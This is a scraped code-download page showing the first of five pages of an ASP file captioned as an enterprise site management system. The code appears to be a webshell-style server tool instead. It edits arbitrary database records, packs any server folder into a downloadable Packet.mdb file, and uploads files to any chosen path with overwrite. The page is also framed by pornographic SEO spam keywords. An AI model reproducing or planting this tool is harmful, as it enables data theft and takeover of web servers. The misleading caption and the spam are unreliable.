亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mybased.asp

?? 企事業單位網站管理系統 防止數據庫數據非法備份
?? ASP
?? 第 1 頁 / 共 5 頁
字號:
			 Else
				If theAct <> "pre" And theAct <> "next" Then
					For Each x In rs.Fields
						If strPrimaryKey <> x.Name Then
							rs(x.Name) = Request.Form(x.Name & "_Column")
						End If
					Next
					rs.Update
				End If
				strValue = rs(strColumn)
			End If

			If theAct = "new" Then
				sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
			End If
			rs.Close
		End If

		rs.Open sql, conn, 1, 1

		echo "<table border=1 width=600>"
		echo "<tr>"
		echo "<td height=22 class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> SQL數據修改</td>"
		echo "</tr>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct value=save>"
		echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
		echo "<input type=hidden name=theTable value=""" & strTable & """>"
		echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
		echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"

		For Each x In rs.Fields
			echo "<tr>"
			echo "<td height=22 width=150>&nbsp;" & HtmlEncode(x.Name) & "<br/>&nbsp;(<em>" & GetDataType(x.Type) & "</em>)</td>"
			echo "<td width=450>&nbsp;"
			echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
			echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "") 
			echo IIf(x.Name = strPrimaryKey, " title='主鍵,由于主鍵約束,將無法被修改,也不能出現相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
			echo "</td></tr>"
		Next
		echo "<tr>"
		echo "<td colspan=2 class=td align=center>"
		If multiTables = False Then
			If strPrimaryKey = "" Then
				echo "<input type=button value=修改 onclick=if(confirm('確定要修改這條記錄嗎?\n此表沒有主鍵,繼續操作可能會導致數據庫災難,并且該錯誤無法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
			 Else
				echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
				echo "<input type=button value=添加 onclick=if(confirm('確實要添加當前為新記錄嗎?')){this.form.theAct.value='new';this.form.submit();};>"
				echo "<input type=button value=刪除 onclick=if(confirm('確實刪除當前記錄嗎?')){this.form.theAct.value='del';this.form.submit();};>"
			End If
		 Else
			echo "<input type=button value=暫不支持多表操作 disabled>"
		End If
		echo "<input type=reset value=重置><input type=button value=關閉 onclick='window.close();'>"
		If IsNumeric(strValue) = True Then
			echo "<input type=button value=上一條 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
			echo "<input type=button value=下一條 onclick=""this.form.theAct.value='next';this.form.submit();"">"
		End If
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		
		rs.Close
		Set rs = Nothing
		DestoryConn()
	End Sub

	Sub CreateConn()
		Dim connStr, mdbInfo, userName, passWord, strPath
		If isDebugMode = False Then On Error Resume Next
		Set conn = Server.CreateObject("Adodb.Connection")
		If LCase(Left(thePath, 4)) = "sql:" Then
			connStr = Mid(thePath, 5)
			isSqlServer = True
		 Else
			mdbInfo = Split(thePath, ";")
			strPath = mdbInfo(0)
			strPath = strPath
			ChkErr(Err)
			If UBound(mdbInfo) >= 2 Then
				userName = mdbInfo(1)
				passWord = mdbInfo(2)
			End If
			connStr = Replace(accessStr, "{$dbSource}", strPath)
			connStr = Replace(connStr, "{$userId}", userName)
			connStr = Replace(connStr, "{$passWord}", passWord)
		end if
		conn.Open connStr
		ChkErr(Err)
	End Sub
	
	Sub DestoryConn()
		conn.Close
		Set conn = Nothing
	End Sub
	
	Function GetDataType(flag)
		Dim str
		Select Case flag
			Case 0 : str = "EMPTY"
			Case 2 : str = "SMALLINT"
			Case 3 : str = "INTEGER"
			Case 4 : str = "SINGLE"
			Case 5 : str = "DOUBLE"
			Case 6 : str = "CURRENCY"
			Case 7 : str = "DATE"
			Case 8 : str = "BSTR"
			Case 9 : str = "IDISPATCH"
			Case 10 : str = "ERROR"
			Case 11 : str = "BIT"
			Case 12 : str = "VARIANT"
			Case 13 : str = "IUNKNOWN"
			Case 14 : str = "DECIMAL"
			Case 16 : str = "TINYINT"
			Case 17 : str = "UNSIGNEDTINYINT"
			Case 18 : str = "UNSIGNEDSMALLINT"
			Case 19 : str = "UNSIGNEDINT"
			Case 20 : str = "BIGINT"
			Case 21 : str = "UNSIGNEDBIGINT"
			Case 72 : str = "GUID"
			Case 128 : str = "BINARY"
			Case 129 : str = "CHAR"
			Case 130 : str = "WCHAR"
			Case 131 : str = "NUMERIC"
			Case 132 : str = "USERDEFINED"
			Case 133 : str = "DBDATE"
			Case 134 : str = "DBTIME"
			Case 135 : str = "DBTIMESTAMP"
			Case 136 : str = "CHAPTER"
			Case 200 : str = "VARCHAR"
			Case 201 : str = "LONGVARCHAR"
			Case 202 : str = "VARWCHAR"
			Case 203 : str = "LONGVARWCHAR"
			Case 204 : str = "VARBINARY"
			Case 205 : str = "LONGVARBINARY"
			Case Else : str = flag
		End Select
		GetDataType = str
	End Function
	
	Function GetPrimaryKey(strTable)
		Dim rsPrimary
		If isDebugMode = False Then On Error Resume Next
		Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
		If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
		Set rsPrimary = Nothing
	End Function

	Sub PagePack()
		ShowTitle("文件夾打包/解開器")
		Server.ScriptTimeOut = 5000
		
		If theAct = "PackIt" Or theAct = "PackOne" Then
			PackIt()
			AlertThenClose("打包成功!生成為該文件夾目錄下的Packet.mdb文件.\n下載下來后可以使用unpack.vbs進行解開.")
			Response.End()
		End If
		If theAct = "UnPack" Then
			UnPack()
			AlertThenClose("解開成功!解開目錄為Packet.mdb所在目錄.")
			Response.End()
		End If
		
		PackTable()
	End Sub
	
	Sub PackTable()
		echo "<base target=_blank>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夾打包/解開器(需FSO支持)"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;打包</td>"
		echo "<td>&nbsp;<input name=thePath value='" & rootPathB & "' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=PackIt name=theAct>"
		echo "<input type=submit value='開始打包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td>&nbsp;解包</td>"
		echo "<td>&nbsp;<input name=thePath value='Packet.mdb' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=UnPack name=theAct>"
		echo "<input type=submit value='開始解包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td> &nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PackIt()
		Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		db = strPath & "\Packet.mdb"
		Set rs = Server.CreateObject("ADODB.RecordSet")
		Set stream = Server.CreateObject("ADODB.Stream")
		Set conn = Server.CreateObject("ADODB.Connection")
		Set adoCatalog = Server.CreateObject("ADOX.Catalog")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db

		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目錄不存在或者不允許訪問!")
		End If
		If theAct = "PackIt" Then
			If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
				ShowErr("該目錄超過300M, 可能造成服務器當機, 操作停止.")
			End If
		End If
		If fso.FileExists(db) = False Then
			adoCatalog.Create connStr
			conn.Open connStr
			conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
		 Else
			conn.Open connStr
		End If
		
		stream.Open
		stream.Type = 1
		rs.Open "FileData", conn, 3, 3

		If theAct = "PackIt" Then
			Call FsoTreeForMdb(strPath, rs, stream)
		 Else
		 	strPath = GetPost("truePath") & "\"
			For Each objX In Request.Form("checkBox")
				strPathB = strPath & objX
				isFolder = fso.FolderExists(strPathB)
				If isFolder = True Then
					Call FsoTreeForMdb(strPathB, rs, stream)
				 Else
					If InStr(sysFileList, "$" & objX & "$") <= 0 Then
						rs.AddNew
						rs("thePath") = "Packet" & Mid(strPathB, 3)
						stream.LoadFromFile(strPathB)
						rs("fileContent") = stream.Read()
						rs.Update
					End If
				End If
			Next
		End If

		rs.Close
		Conn.Close
		stream.Close
		Set rs = Nothing
		Set conn = Nothing
		Set stream = Nothing
		Set adoCatalog = Nothing
	End Sub
	
	Sub UnPack()
		Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		str = fso.GetParentFolderName(strPath) & "\"
		Set rs = CreateObject("ADODB.RecordSet")
		Set stream = CreateObject("ADODB.Stream")
		Set conn = CreateObject("ADODB.Connection")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath

		conn.Open connStr
		ChkErr(Err)
		rs.Open "FileData", conn, 1, 1
		stream.Open
		stream.Type = 1

		Do Until rs.Eof
			theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
			If fso.FolderExists(str & theFolder) = False Then
				CreateFolder(str & theFolder)
			End If
			stream.SetEos()
			If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
			stream.SaveToFile str & rs("thePath"), 2
			rs.MoveNext
		Loop

		rs.Close
		conn.Close
		stream.Close
		Set ws = Nothing
		Set rs = Nothing
		Set stream = Nothing
		Set conn = Nothing
	End Sub
	
	Sub FsoTreeForMdb(strPath, rs, stream)
		Dim item, theFolder, folders, files
		If isDebugMode = False Then On Error Resume Next
		Set theFolder = fso.GetFolder(strPath)
		Set files = theFolder.Files
		Set folders = theFolder.SubFolders

		For Each item In folders
			Call FsoTreeForMdb(item.Path, rs, stream)
		Next

		For Each item In files
			If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
				rs.AddNew
				rs("thePath") = "Packet" & Mid(item.Path, 3)
				stream.LoadFromFile(item.Path)
				rs("fileContent") = stream.Read()
				rs.Update
			End If
		Next

		Set files = Nothing
		Set folders = Nothing
		Set theFolder = Nothing
	End Sub

	Sub PageUpload()
		ShowTitle("批量文件上傳")
		theAct = Request.QueryString("theAct")
		If theAct = "upload" Then
			StreamUpload()
			echo "<script>alert('上傳成功!');history.back();</script>"
		End If
		ShowUpload()
	End Sub
	
	Sub ShowUpload()
		If thePath = "" Then thePath = rootPathB
		echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上傳</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>"
		echo "&nbsp;上傳到:"
		echo "</td>"
		echo "<td>"
		echo "&nbsp;<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆蓋模式"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top>"
		echo "&nbsp;文件選擇: "
		echo "</td>"
		echo "<td>&nbsp;<input id=fileCount size=6 value=1> <input type=button value=設定 onclick=makeFile(fileCount.value)>"
		echo "<div id=fileUpload>"
		echo "&nbsp;<input name=file1 type=file size=50>"
		echo "</div></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=submit name=Submit value=上傳 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
		echo "<input type=reset value=重置><input type=button value=關閉 onclick=window.close();>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
		echo "<script language=javascript>" & vbNewLine
		echo "function makeFile(n){" & vbNewLine
		echo "	fileUpload.innerHTML = '&nbsp;<input name=file1 type=file size=50>'" & vbNewLine
		echo "	for(var i=2; i<=n; i++)" & vbNewLine
		echo "		fileUpload.innerHTML += '<br/>&nbsp;<input name=file' + i + ' type=file size=50>';" & vbNewLine
		echo "}" & vbNewLine
		echo "</script>"
	End Sub
	
	Sub StreamUpload()
		Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
		Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
		Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
		If isDebugMode = False Then On Error Resume Next
		Server.ScriptTimeOut = 5000
		newLine = ChrB(13) & ChrB(10)
		overWrite = Request.QueryString("overWrite")
		overWrite = IIf(overWrite = "true", "2", "1")
		Set sA = Server.CreateObject("Adodb.Stream")
		Set sB = Server.CreateObject("Adodb.Stream")
		
		sA.Type = 1
		sA.Mode = 3
		sA.Open

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区二区在线观看免费| 综合网在线视频| 秋霞午夜鲁丝一区二区老狼| 日韩欧美电影在线| 国产91精品久久久久久久网曝门| 中文字幕综合网| 91精品欧美一区二区三区综合在| 高清在线不卡av| 亚洲国产日韩精品| 久久午夜电影网| 色婷婷亚洲婷婷| 久久激情五月激情| 1024亚洲合集| 欧美精品一区二区三区蜜桃视频| 国产高清亚洲一区| 午夜精品福利久久久| 亚洲国产激情av| 欧美一二三区精品| 99精品在线观看视频| 久久精品国产77777蜜臀| 国产欧美日韩视频在线观看| 欧美日本免费一区二区三区| 成人视屏免费看| 日韩不卡在线观看日韩不卡视频| 国产欧美久久久精品影院| 欧美乱熟臀69xxxxxx| 国产高清亚洲一区| 日韩不卡一区二区三区| 亚洲欧美日韩国产一区二区三区 | 91香蕉视频污| 亚洲成人av资源| 中文字幕在线一区二区三区| 欧美精品一区二区三区久久久| 91福利视频在线| 大白屁股一区二区视频| 亚洲一线二线三线久久久| 国产女人aaa级久久久级| 日韩欧美成人午夜| 欧美精品一二三| 在线观看视频一区二区| 久久99精品久久久久| 日韩精品一二区| 夜夜精品视频一区二区| 久久久久久久久久美女| 久久一日本道色综合| 欧美一区日韩一区| 欧美日韩精品一区二区| 欧美午夜一区二区三区| 欧美日韩一区视频| 日韩精品中文字幕在线不卡尤物| 国产欧美日韩精品在线| 亚洲欧美综合另类在线卡通| 欧美天堂一区二区三区| 欧美日韩高清不卡| 91精品国产入口| 欧美一区二区二区| 久久综合99re88久久爱| 中文字幕中文在线不卡住| 18成人在线视频| 亚洲高清中文字幕| 黑人精品欧美一区二区蜜桃| 国产电影一区在线| 在线看日本不卡| 欧美男同性恋视频网站| 精品盗摄一区二区三区| 国产精品久久久久影院| 亚洲电影欧美电影有声小说| 看片的网站亚洲| 风间由美一区二区av101| 99vv1com这只有精品| 在线播放国产精品二区一二区四区| 日韩欧美国产1| 中文字幕一区二区在线观看| 亚洲午夜精品17c| 中文字幕欧美区| 欧美丰满少妇xxxxx高潮对白| 91精选在线观看| 精品裸体舞一区二区三区| 国产精品久久久久永久免费观看| 亚洲韩国一区二区三区| 精品午夜久久福利影院| 色综合激情五月| 欧美成人video| 亚洲欧美日韩人成在线播放| 久久97超碰国产精品超碰| 色综合久久中文字幕综合网| 欧美一卡在线观看| 《视频一区视频二区| 久久精品国产亚洲一区二区三区| 99久久精品免费看| 欧美tk丨vk视频| 亚洲综合免费观看高清完整版| 韩国女主播一区二区三区| 欧美性极品少妇| 国产精品系列在线| 久久99久久99| 欧美日韩成人一区二区| 自拍av一区二区三区| 黄色资源网久久资源365| 色综合久久久久久久久久久| 久久免费美女视频| 亚洲v中文字幕| 91亚洲精品久久久蜜桃| 精品成人a区在线观看| 亚洲午夜成aⅴ人片| 94-欧美-setu| 国产欧美日韩三区| 精品一区二区三区在线播放视频| 精品视频免费在线| 亚洲卡通动漫在线| 成人av在线资源| 国产婷婷色一区二区三区在线| 免费成人结看片| 欧美日韩国产在线观看| 亚洲狠狠丁香婷婷综合久久久| 成人黄色免费短视频| 久久精品无码一区二区三区| 奇米精品一区二区三区在线观看一| 91黄色小视频| 一区二区三区精品视频在线| 91在线云播放| 国产精品乱码久久久久久| 国产高清亚洲一区| 久久毛片高清国产| 国产一区二区三区最好精华液| 欧美α欧美αv大片| 久久国产综合精品| 欧美成人精精品一区二区频| 毛片基地黄久久久久久天堂| 91精品欧美久久久久久动漫| 五月天一区二区三区| 欧美日韩在线免费视频| 午夜一区二区三区视频| 欧美日韩精品一二三区| 三级在线观看一区二区| 91精品国产综合久久蜜臀| 视频在线观看一区| 欧美一区二视频| 久久国产欧美日韩精品| 欧美精品一区二区三区在线| 国产一区二区三区免费观看| 久久精品欧美一区二区三区不卡| 国产二区国产一区在线观看| 中文一区二区在线观看| av激情亚洲男人天堂| 一区二区三区久久| 欧美一区二区性放荡片| 美女视频黄免费的久久| 26uuu亚洲| 成人三级伦理片| 亚洲精品日产精品乱码不卡| 欧美欧美欧美欧美| 久久不见久久见免费视频1| 日本一区二区免费在线观看视频 | 天堂一区二区在线免费观看| 91精品国产91久久久久久最新毛片| 美腿丝袜亚洲三区| 久久久久久综合| 91视频观看免费| 婷婷成人激情在线网| 久久久亚洲综合| 91麻豆精品在线观看| 日日摸夜夜添夜夜添精品视频| 精品日产卡一卡二卡麻豆| 成人免费看片app下载| 亚洲综合男人的天堂| 日韩午夜小视频| 成人白浆超碰人人人人| 亚洲成人在线免费| 国产情人综合久久777777| 色哟哟精品一区| 九一久久久久久| 一区二区三区在线观看网站| 日韩一区二区在线观看| 成人丝袜视频网| 日韩高清不卡一区二区三区| 中文字幕精品—区二区四季| 欧美猛男超大videosgay| 国产福利一区二区三区| 天天色综合成人网| 国产精品沙发午睡系列990531| 欧美日韩国产乱码电影| 粉嫩绯色av一区二区在线观看 | 精品少妇一区二区三区日产乱码 | 成人国产在线观看| 日韩va亚洲va欧美va久久| 国产精品护士白丝一区av| 欧美乱熟臀69xxxxxx| 波多野结衣中文字幕一区| 日韩不卡手机在线v区| 综合av第一页| 精品久久久影院| 欧美日韩三级一区| 99久久久国产精品| 国产综合久久久久久鬼色 | 亚洲一区二区三区四区在线 | 视频一区二区三区入口| 亚洲欧美一区二区三区国产精品 | 久久精品欧美一区二区三区麻豆| 欧美久久久久久蜜桃|